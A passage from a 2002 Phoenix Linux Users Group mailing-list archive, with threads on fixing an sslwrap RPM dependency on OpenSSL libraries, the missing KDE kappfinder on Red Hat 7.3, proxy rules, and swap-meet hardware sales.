libssl.so.0.9.6b > [root@linux lib]# ls -l libcrypto* > lrwxrwxrwx 1 root root 19 Jun 15 18:48 libcrypto.so.0 -> > libcrypto.so.0.9.6b > -rwxr-xr-x 1 root root 936514 Apr 4 10:24 libcrypto.so.0.9.6b > lrwxrwxrwx 1 root root 19 May 24 09:05 libcrypto.so.2 -> > libcrypto.so.0.9.6b > > Thanks. > > ----- Original Message ----- > From: "Tom Emerson" > To: "Plug List" > Sent: Saturday, June 15, 2002 7:17 PM > Subject: Re: Dependency Problems > > > Adrian, I'm dimly remembering this from a few months ago. I think that it > > was just a matter of adding an appropriately named symbolic link to > > libcrypto.so.0.9.6b > > > > Something like this (as the root user): > > cd /lib > > ln -s libcrypto.so.0.9.6b libcrypto.so.0 > > > > In case this doesn't work out, keep a log of what you did so you can back > > out changes to stuff in thie /lib directory. Careful what you do in /lib, > > a goof here will render your system in need of repair... > > > > Do this: > > cd /lib > > ls -l libssl* > > ls -l libcrypto* > > > > and post the results back to the list, maybe that'll jog some memories? > > > > - tom e. > > > > On Sat, 15 Jun 2002, Adrian Mink wrote: > > > > Hello, > > > > I am having a problem I hope someone can help with. I am trying to install > > sslwrap and keep getting the following dependency errors. > > > > [root@linux work]# rpm --install sslwrap-2.0.5-3.i386.rpm > > error: failed dependencies: > > libcrypto.so.0 is needed by sslwrap-2.0.5-3 > > libssl.so.0 is needed by sslwrap-2.0.5-3 > > > > Now, openssl is installed and verified. The results of rpm -qa | grep > > openssl show that both openssl and openssl-devel 0.9.6b-18 > > are installed. Now, I have noticed that openssl does not seem to install > > libcrypto.so.0 and libssl.so.0, but it adds the version number > > to the end of the files. So I actually have libcrypto.so.0.9.6b, etc. > Could > > this be my issue? Can someone tell me how to fix it? > > Thanks! > > > > Adrian > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 04:19:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sat, 15 Jun 2002 21:19:45 -0700 (PDT) Subject: KDE 3.0 "appfinder" In-Reply-To: <200206152104.04995@granroth.org> Message-ID: On Sat, 15 Jun 2002, Kurt Granroth wrote: > On Saturday 15 June 2002 01:29 pm, foodog wrote: > > With previous versions of KDE there was a thing called "appfinder" in > > the menu that'd search through the system and add applications to the K > > menu. Does anyone know how to get KDE 3.0 to do that? I've got Redhat > > 7.3 installed. Thanks much, > > It's still there. I'm not sure if RH messes with the menu structure at > all.. but if they don't, it should be in K Menu -> System -> KAppfinder. > Or, you could run it from the command line ('kappfinder'). Or you could do > Alt+F2 and run it from there. Hmm... I can't find kappfinder on my RH 7.3 box either... From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 04:40:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Sat, 15 Jun 2002 23:40:28 -0500 Subject: ipchains redirecting In-Reply-To: <1511.66.1.195.230.1024191347.squirrel@www.esaravana.com>; from linux@esaravana.com on Sat, Jun 15, 2002 at 06:35:47PM -0700 References: <1511.66.1.195.230.1024191347.squirrel@www.esaravana.com> Message-ID: <20020615234028.A26648@lilly.csoft.net> I believe all you need to do is allow your proxy access, then deny everyone else. On Sat, Jun 15, 2002 at 06:35:47PM -0700, Sundar Narayanasamy wrote: Hello, I want to force the users on my network to go through my proxy server. What are the ipchains rules I should add. I am using Redhat 7.2 and squid proxy. Cheers! Sundar ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 04:27:34 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 15 Jun 2002 21:27:34 -0700 Subject: KDE 3.0 "appfinder" In-Reply-To: <200206152104.04995@granroth.org> References: <3D0BA3A3.4C8DCFE6@pop.phnx.uswest.net> <200206152104.04995@granroth.org> Message-ID: <1024201654.2008.0.camel@barney.azapple.com> On Sat, 2002-06-15 at 21:04, Kurt Granroth wrote: > On Saturday 15 June 2002 01:29 pm, foodog wrote: > > With previous versions of KDE there was a thing called "appfinder" in > > the menu that'd search through the system and add applications to the K > > menu. Does anyone know how to get KDE 3.0 to do that? I've got Redhat > > 7.3 installed. Thanks much, > > It's still there. I'm not sure if RH messes with the menu structure at > all.. but if they don't, it should be in K Menu -> System -> KAppfinder. > Or, you could run it from the command line ('kappfinder'). Or you could do > Alt+F2 and run it from there. > -- Have to agree with Steve...it isn't there in RH 7.3 / KDE 3.0 Craig From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 05:00:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Sat, 15 Jun 2002 22:00:48 -0700 Subject: KDE 3.0 "appfinder" In-Reply-To: References: Message-ID: <200206152200.53947.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Saturday 15 June 2002 21:19, Matt Alexander wrote: > On Sat, 15 Jun 2002, Kurt Granroth wrote: > > It's still there. I'm not sure if RH messes with the menu structure at > > all.. but if they don't, it should be in K Menu -> System -> KAppfinder. > > Or, you could run it from the command line ('kappfinder'). Or you could > > do Alt+F2 and run it from there. > > Hmm... I can't find kappfinder on my RH 7.3 box either... Just for note, it comes with Mandrake 8.2 (KDE2 and KDE3) with the kdebase package. - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9DBuEpNoctRtUIRQRAsXaAJ9UsBoxSD8YxfGi6PH0opFlLcCV7ACfUs4k brnvy5XL32Tdwt54jZDt/Ic= =N/iq -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 05:03:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Sat, 15 Jun 2002 22:03:21 -0700 Subject: Dependency Problems In-Reply-To: <026e01c214d6$2df0d530$0401a8c0@minkland.com> References: <026e01c214d6$2df0d530$0401a8c0@minkland.com> Message-ID: <200206152203.26866.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Saturday 15 June 2002 18:36, Adrian Mink wrote: > I am having a problem I hope someone can help with. I am trying to install > sslwrap and keep getting the following dependency errors. > > [root@linux work]# rpm --install sslwrap-2.0.5-3.i386.rpm > error: failed dependencies: > libcrypto.so.0 is needed by sslwrap-2.0.5-3 > libssl.so.0 is needed by sslwrap-2.0.5-3 Since I haven't seen it mentioned, both of these dependencies are provided by the libopenssl0 package. - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9DBwcpNoctRtUIRQRAtlRAKCLM0gS+dS6BVlcVvC6NXCTnrAZVQCeL/Zx h3HlQ55/B0AXY9XrHSin6As= =D3+4 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 05:08:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Sat, 15 Jun 2002 22:08:26 -0700 Subject: Error on the Installation of Mandrake 8.2 In-Reply-To: <20020616020655.89129.qmail@web20605.mail.yahoo.com> References: <20020616020655.89129.qmail@web20605.mail.yahoo.com> Message-ID: <200206152208.30167.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Saturday 15 June 2002 19:06, Mario Hines wrote: > "Kernel Panic:VFS: Can't mount the device 01:03." > > I'm not exactly sure what that means, but I kinda > bypassed that problem by just going into Mandrake and > doing a live update, then I run in this error message: > > "Can't open /var/lib/rpm/Packages." > > I check in that section of my tree, . . . didn't > have a Packages directory. I also tried another way > with the rpm's, but those had signature errors. So, > please, tell me if it's the CD or is it my system. > Cause I have NO clue of what to do now. Thanks. I don't know how helpful this is, but Packages is a *file*. It apparently comes with the rpm tool and is updated to hold the package info (rpm -qi), if not more. I would try (as root) 'rpm --rebuilddb'. I have never tried this, so don't take my advice too seriously. ;-) I hope this helps. - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9DB1MpNoctRtUIRQRAvurAJ41bGRsLjCX3iWQIYgx3s1w6vmbzgCghXP3 sBUaziViRCFO2sCeJ0jvRzU= =NKxs -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 05:08:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Sat, 15 Jun 2002 22:08:21 -0700 Subject: KDE 3.0 "appfinder" References: <3D0BA3A3.4C8DCFE6@pop.phnx.uswest.net> <200206152104.04995@granroth.org> <1024201654.2008.0.camel@barney.azapple.com> Message-ID: <3D0C1D45.38B89DBE@qwest.net> * Fri Jul 20 2001 Bernhard Rosenkraenzer 2.2-0.cvs20010720.1 - update - get rid of some rpmlint warnings - remove kappfinder (we maintain /etc/X11/applnk) - work around ia64 breakage Changelog for kdebase for RH. > > > With previous versions of KDE there was a thing called "appfinder" in > > > the menu that'd search through the system and add applications to the K > > > menu. Does anyone know how to get KDE 3.0 to do that? I've got Redhat > > > 7.3 installed. Thanks much, > > > > It's still there. I'm not sure if RH messes with the menu structure at > > all.. but if they don't, it should be in K Menu -> System -> KAppfinder. > > Or, you could run it from the command line ('kappfinder'). Or you could do > > Alt+F2 and run it from there. > > -- > Have to agree with Steve...it isn't there in RH 7.3 / KDE 3.0 From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 05:20:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Sat, 15 Jun 2002 22:20:39 -0700 Subject: Cleaning house Message-ID: <200206152220.39663.dennisk@sahuaro.f2s.com> I'll have the following items for sale out of my backpack tomorrow at the swap meet. Sony 2x CD-R [feel the speed:-)] - $20 Black floppy drive - $5 Windows NT - $10 Windows 2000 Pro - $20 AMD Duron 1.1Ghz - $20 256Mb Corsair PC2100 DDRRAM - $20 If you don't know me just look for 50ish, beard, green backpack, white straw hat. or call my cellphone. Dennis Kibbe 602-695-0472 mobile From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 05:31:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Sat, 15 Jun 2002 22:31:48 -0700 Subject: IBM PC Camera Message-ID: <200206152231.52590.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I just bought an IBM PC Camera at wal-mart on clearance for $12 bucks. It's not real great, but it's fun to play with. Can't go wrong for 12 bucks. So now I need some advice, what do other pluggers use for viewing camera video, and capturing? I've got a desktop with suse 8 on it and it has xawtv, but I'm not really impressed with that. Is there anything you guys prefer? nathan -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9DCLHQ7yNnsYcupwRAq+VAJ4mng6vzYSRuzNMeg6a562DaikrbwCdHSbK O5N5J4GzkNVcTq/u+BvnZ7g= =HUO7 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 05:19:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Sat, 15 Jun 2002 22:19:12 -0700 (MST) Subject: Dependency Problems In-Reply-To: <3D0C117D.52AFA3F@qwest.net> Message-ID: Hmm, I've got this on a RedHat 7.3: -rwxr-xr-x 1 root root 207008 Apr 4 10:23 libssl.so.0.9.6b lrwxrwxrwx 1 root root 16 Apr 28 02:49 libssl.so.2 -> libssl.so.0.9.6b -rwxr-xr-x 1 root root 23575 Apr 15 06:27 libcrypt-2.2.5.so -rwxr-xr-x 1 root root 924879 Apr 4 10:23 libcrypto.so.0.9.6b lrwxrwxrwx 1 root root 19 Apr 28 02:49 libcrypto.so.2 -> libcrypto.so.0.9.6b lrwxrwxrwx 1 root root 17 May 13 13:26 libcrypt.so.1 -> libcrypt-2.2.5.so Memory jogging, there is always this to try: rpm --nodeps --install sslwrap-2.0.5-3.i386.rpm If the sslwrap goodies work, Bob's your Uncle. If you have coredumps, bad /var/log/messages entries, anything else suspicious, you've got problems. rpm -e sslwrap-2.0.5-3 and try something else. Looks like you've got what's needed, could be that the sslwrap rpm has a dependancy not defined quite right for your distro. (I do remember tripping over this for something like pine, or some other typically included package after I updated a batch of RedHat's back in March .. the zlib flaw if I recall correctly.) - tom e. On Sat, 15 Jun 2002, Kevin Brown wrote: rpm doesn't actually check for the file, just the rpm list for the rpm that contains the file. Try looking on rpmfind to find what packages it depends on. Adrian Mink wrote: > > Thanks, been trying that. I have placed symlinks in /lib, /usr/lib and > /usr/local/lib pointing back to > /lib/libcrypto.so.0.9.6b. No joy. Here are the results anyway, hope it jogs > you memory because > I am stumped! > > lrwxrwxrwx 1 root root 16 Jun 15 18:47 libssl.so.0 -> > libssl.so.0.9.6b > -rwxr-xr-x 1 root root 207008 Apr 4 10:24 libssl.so.0.9.6b > lrwxrwxrwx 1 root root 16 May 24 09:05 libssl.so.2 -> > libssl.so.0.9.6b > [root@linux lib]# ls -l libcrypto* > lrwxrwxrwx 1 root root 19 Jun 15 18:48 libcrypto.so.0 -> > libcrypto.so.0.9.6b > -rwxr-xr-x 1 root root 936514 Apr 4 10:24 libcrypto.so.0.9.6b > lrwxrwxrwx 1 root root 19 May 24 09:05 libcrypto.so.2 -> > libcrypto.so.0.9.6b > > Thanks. > > ----- Original Message ----- > From: "Tom Emerson" > To: "Plug List" > Sent: Saturday, June 15, 2002 7:17 PM > Subject: Re: Dependency Problems > > > Adrian, I'm dimly remembering this from a few months ago. I think that it > > was just a matter of adding an appropriately named symbolic link to > > libcrypto.so.0.9.6b > > > > Something like this (as the root user): > > cd /lib > > ln -s libcrypto.so.0.9.6b libcrypto.so.0 > > > > In case this doesn't work out, keep a log of what you did so you can back > > out changes to stuff in thie /lib directory. Careful what you do in /lib, > > a goof here will render your system in need of repair... > > > > Do this: > > cd /lib > > ls -l libssl* > > ls -l libcrypto* > > > > and post the results back to the list, maybe that'll jog some memories? > > > > - tom e. > > > > On Sat, 15 Jun 2002, Adrian Mink wrote: > > > > Hello, > > > > I am having a problem I hope someone can help with. I am trying to install > > sslwrap and keep getting the following dependency errors. > > > > [root@linux work]# rpm --install sslwrap-2.0.5-3.i386.rpm > > error: failed dependencies: > > libcrypto.so.0 is needed by sslwrap-2.0.5-3 > > libssl.so.0 is needed by sslwrap-2.0.5-3 > > > > Now, openssl is installed and verified. The results of rpm -qa | grep > > openssl show that both openssl and openssl-devel 0.9.6b-18 > > are installed. Now, I have noticed that openssl does not seem to install > > libcrypto.so.0 and libssl.so.0, but it adds the version number > > to the end of the files. So I actually have libcrypto.so.0.9.6b, etc. > Could > > this be my issue? Can someone tell me how to fix it? > > Thanks! > > > > Adrian > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 05:35:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (Adrian Mink) Date: Sat, 15 Jun 2002 22:35:06 -0700 Subject: Dependency Problems In-Reply-To: <200206152203.26866.voltage_spike@fastmail.fm> Message-ID: <000001c214f7$927a4740$0801a8c0@bedroom> What is the difference between this and openssl? I know that the libcrypto.so.0 is provided properly if I compile from the openssl source, I am just trying to keep it to RPM's. Adrian -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us] On Behalf Of Voltage Spike Sent: Saturday, June 15, 2002 10:03 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Dependency Problems -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Saturday 15 June 2002 18:36, Adrian Mink wrote: > I am having a problem I hope someone can help with. I am trying to > install sslwrap and keep getting the following dependency errors. > > [root@linux work]# rpm --install sslwrap-2.0.5-3.i386.rpm > error: failed dependencies: > libcrypto.so.0 is needed by sslwrap-2.0.5-3 > libssl.so.0 is needed by sslwrap-2.0.5-3 Since I haven't seen it mentioned, both of these dependencies are provided by the libopenssl0 package. - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9DBwcpNoctRtUIRQRAtlRAKCLM0gS+dS6BVlcVvC6NXCTnrAZVQCeL/Zx h3HlQ55/B0AXY9XrHSin6As= =D3+4 -----END PGP SIGNATURE----- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 05:41:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (Adrian Mink) Date: Sat, 15 Jun 2002 22:41:16 -0700 Subject: Dependency Problems In-Reply-To: <3D0C117D.52AFA3F@qwest.net> Message-ID: <000801c214f8$6f31e120$0801a8c0@bedroom> Thanks for those who tried to help, I was attempting to sslwrap imap. Finally after some poking around I found imaps in xinetd.d. Geez. I am taking the better part of valor and using imaps rather than fight anymore with sslwrap! (It worked great, first try.) Adrian -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us] On Behalf Of Kevin Brown Sent: Saturday, June 15, 2002 9:18 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Dependency Problems rpm doesn't actually check for the file, just the rpm list for the rpm that contains the file. Try looking on rpmfind to find what packages it depends on. Adrian Mink wrote: > > Thanks, been trying that. I have placed symlinks in /lib, /usr/lib and > /usr/local/lib pointing back to /lib/libcrypto.so.0.9.6b. No joy. Here > are the results anyway, hope it jogs you memory because > I am stumped! > > lrwxrwxrwx 1 root root 16 Jun 15 18:47 libssl.so.0 -> > libssl.so.0.9.6b > -rwxr-xr-x 1 root root 207008 Apr 4 10:24 libssl.so.0.9.6b > lrwxrwxrwx 1 root root 16 May 24 09:05 libssl.so.2 -> > libssl.so.0.9.6b > [root@linux lib]# ls -l libcrypto* > lrwxrwxrwx 1 root root 19 Jun 15 18:48 libcrypto.so.0 -> > libcrypto.so.0.9.6b > -rwxr-xr-x 1 root root 936514 Apr 4 10:24 libcrypto.so.0.9.6b > lrwxrwxrwx 1 root root 19 May 24 09:05 libcrypto.so.2 -> > libcrypto.so.0.9.6b > > Thanks. > > ----- Original Message ----- > From: "Tom Emerson" > To: "Plug List" > Sent: Saturday, June 15, 2002 7:17 PM > Subject: Re: Dependency Problems > > > Adrian, I'm dimly remembering this from a few months ago. I think > > that it was just a matter of adding an appropriately named symbolic > > link to libcrypto.so.0.9.6b > > > > Something like this (as the root user): > > cd /lib > > ln -s libcrypto.so.0.9.6b libcrypto.so.0 > > > > In case this doesn't work out, keep a log of what you did so you can > > back out changes to stuff in thie /lib directory. Careful what you > > do in /lib, a goof here will render your system in need of repair... > > > > Do this: > > cd /lib > > ls -l libssl* > > ls -l libcrypto* > > > > and post the results back to the list, maybe that'll jog some > > memories? > > > > - tom e. > > > > On Sat, 15 Jun 2002, Adrian Mink wrote: > > > > Hello, > > > > I am having a problem I hope someone can help with. I am trying to > > install sslwrap and keep getting the following dependency errors. > > > > [root@linux work]# rpm --install sslwrap-2.0.5-3.i386.rpm > > error: failed dependencies: > > libcrypto.so.0 is needed by sslwrap-2.0.5-3 > > libssl.so.0 is needed by sslwrap-2.0.5-3 > > > > Now, openssl is installed and verified. The results of rpm -qa | > > grep openssl show that both openssl and openssl-devel 0.9.6b-18 are > > installed. Now, I have noticed that openssl does not seem to install > > libcrypto.so.0 and libssl.so.0, but it adds the version number to > > the end of the files. So I actually have libcrypto.so.0.9.6b, etc. > Could > > this be my issue? Can someone tell me how to fix it? Thanks! > > > > Adrian > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 08:41:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Sun, 16 Jun 2002 01:41:08 -0700 Subject: Video update Message-ID: <20020616084107.GV14558@ecloud.org> I'm working on video capture and editing type stuff this weekend. The good news is the Linux 1394 driver is awesome! I already had it compiled in my kernel from a while back, and when I plugged in my camcorder and started up kino, I could simply hit play to remote-control the camera or record to capture an AVI. No sweat whatsoever. So far I captured 45 minutes of video to almost 10 gigs of AVIs. Whoa that's a lot of data! However the devil's in the details. My nagging problem of the moment is that kino doesn't like the sound driver for my sound chip, apparently. It simply hangs if I try to play video and audio at the same time, or capture with audio monitoring turned on. I looked at the code, it's very straightforward, open up /dev/dsp and dump data to it, so I don't see what the big deal is. Anyway the sound built-in to this motherboard is crappy, so I really want to get kino using some sort of network audio server on another machine which is the one I usually have hooked up to my stereo; I intended that it would be the "mixer" machine for all the others. I installed nas, and I have KDE's artsd using NAS and sending audio to the other machine. That's the furthest I've ever gotten with NAS in my several attempts, although at various times I've done the same thing with esd and with artsd's own network support. However there's supposed to be this wrapper called audiooss which can intercept calls to /dev/dsp and redirect the data to NAS. That's the sort of thing I need for kino, but it's not working. aRTs has a wrapper too and that is also not working. Just to go totally over the top, last Friday I ordered one of these http://www.ymouse.com/product/pxkeditor.htm It will be interesting to try getting that working with Kino. It can already work with 2 other kinds of jog-shuttle controls so at least I will have some example code. I should probably test my ability to convert to MPEG and burn VCDs before I get much further with actual editing. (If all else fails I can slink off to my mom's house and use her iMac.) And I found several consumer DVD players which have all the appropriate bells and whistles - compatibility with CD-Rs, CD-RWs, firmware upgradeable by CD-R, hacked firmware available which disables Macrovision and region-coding, and one of them even has a CF slot so you can listen to MP3s or look at JPGs in that format as well as CD-R. I think that's the one I want to get for my wife's mom in Belarus. It also can convert NTSC to PAL and PAL to NTSC, and works on all voltages worldwide. I heard the SoundBlaster Live's Linux driver can handle multiple audio streams at once, so I think maybe I'll get one of those for my "master mixer" machine and then I can run artsd, esd and nasd all at the same time. But I still have to get kino to actually use one of them. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 09:28:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Digital Wokan) Date: Sun, 16 Jun 2002 02:28:07 -0700 Subject: Spare video cards? Message-ID: <200206160228.07556.wokan@cox.net> I just got handed the leftovers from a friend's system upgrade. I've got just about everything needed for a working system except a video card. If anyone has any leftovers laying around from an upgrade, I'd appreciate it. The system only has AGP and PCI slots, so a really old ISA video card won't work. I live in Scottsdale now, so I'm generally asking people in the Eastern part of the valley. From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 10:58:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sun, 16 Jun 2002 03:58:00 -0700 (MST) Subject: Spare video cards? In-Reply-To: <200206160228.07556.wokan@cox.net> Message-ID: Am 16. Jun, 2002 schwätzte Digital Wokan so: > I just got handed the leftovers from a friend's system upgrade. I've got > just about everything needed for a working system except a video card. If > anyone has any leftovers laying around from an upgrade, I'd appreciate > it. The system only has AGP and PCI slots, so a really old ISA video card > won't work. I live in Scottsdale now, so I'm generally asking people in > the Eastern part of the valley. Hop to the swap meet at McDowell and Granite Reef tomorrow. Many people leave before 11:00 this time of year. Earl with Westech ( big white van and tons of old equipment ) will have stuff. It's probably $5 from him. Others will as well, but he always has boxes of cards. There will also be newer stuff for good prices as well. ciao, der.hans -- # https://www.LuftHans.com/ # "The reasons for my decision to quit were myriad, but central to the # decision ws the realization that there are two kinds of companies: # Good ones ask you to thnk for them. # The others tell you to think like them." -- Benjy Feen From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 18:04:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert A. Klahn) Date: Sat, 15 Jun 2002 11:04:41 -0700 Subject: Saving a web site local In-Reply-To: <200206151750.g5FHof229001@PlugList.MyButt.Net> References: <200206151750.g5FHof229001@PlugList.MyButt.Net> Message-ID: <20020615110441.58b391d3.robert@kint.org> Alan: Check out the "wget" command. It probably does what you need to get done here. Bob. On Sat, 15 Jun 2002 10:50:41 -0700 plug-discuss-request@lists.plug.phoenix.az.us wrote: > Message: 10 > From: Alan Dayley > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Saving a web site local > Date: Sat, 15 Jun 2002 09:37:14 -0700 > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > I want to save a web page and all the pages it links to (about 2 deep) > to my local hard drive so I can browse it locally. I don't see this > capability in Konqueror or Mozilla. How do I do this? > > Alan > > -- Robert A. Klahn robert@kint.org AIM: rklahn "Hope has two beautiful daughters: Anger and Courage. Anger at the way things are, and Courage to struggle to create things as they should be." -- St. Augustine From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 15:47:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (John Steele) Date: Sun, 16 Jun 2002 08:47:48 -0700 Subject: Has anyone any experience with "Guard Dog" Firewall Message-ID: <3D0CB324.3030700@qwest.net> I'm just learning the LINUX OS and I was wondering if anyone has used the firewall "Guard Dog" on a workstation that is hooked to the internet through an Ethernet router? I just want to learn a little about firewalls. I also have the Mandrake Client firewall software, but I'm not sure if it's beyond my understanding just now. John Steele From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 16:03:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sun, 16 Jun 2002 09:03:02 -0700 Subject: swapmeet Message-ID: <3D0CB6B6.F4D059E3@leml.asu.edu> I've been out of things... is there a swap meet today/this morning? I looked on the PLUG web page and saw nothing about it... EBo -- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 16:10:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gordon Chamberlin) Date: 16 Jun 2002 09:10:43 -0700 Subject: Emacs on RH 7.3 Message-ID: <1024243844.12004.23.camel@nabla.phx.viz> Is anyone else annoyed by the new GUI menu bar that emacs now places right under the text menu bar on a stock installation of Redhat 7.3? I have looked for a way to remove it, but have been unsuccessful so far. If anyone could tell me the magic incantation configuration setting that needs to be invoked, I would be very grateful. I really want that space back to display information. Thanks, -Gordon -- Gordon Chamberlin Software Architect Visualize, Inc. http://www.visualizeinc.com (602) 861-0999 ext. 14 glac@visualizeinc.com From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 16:45:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (foodog) Date: 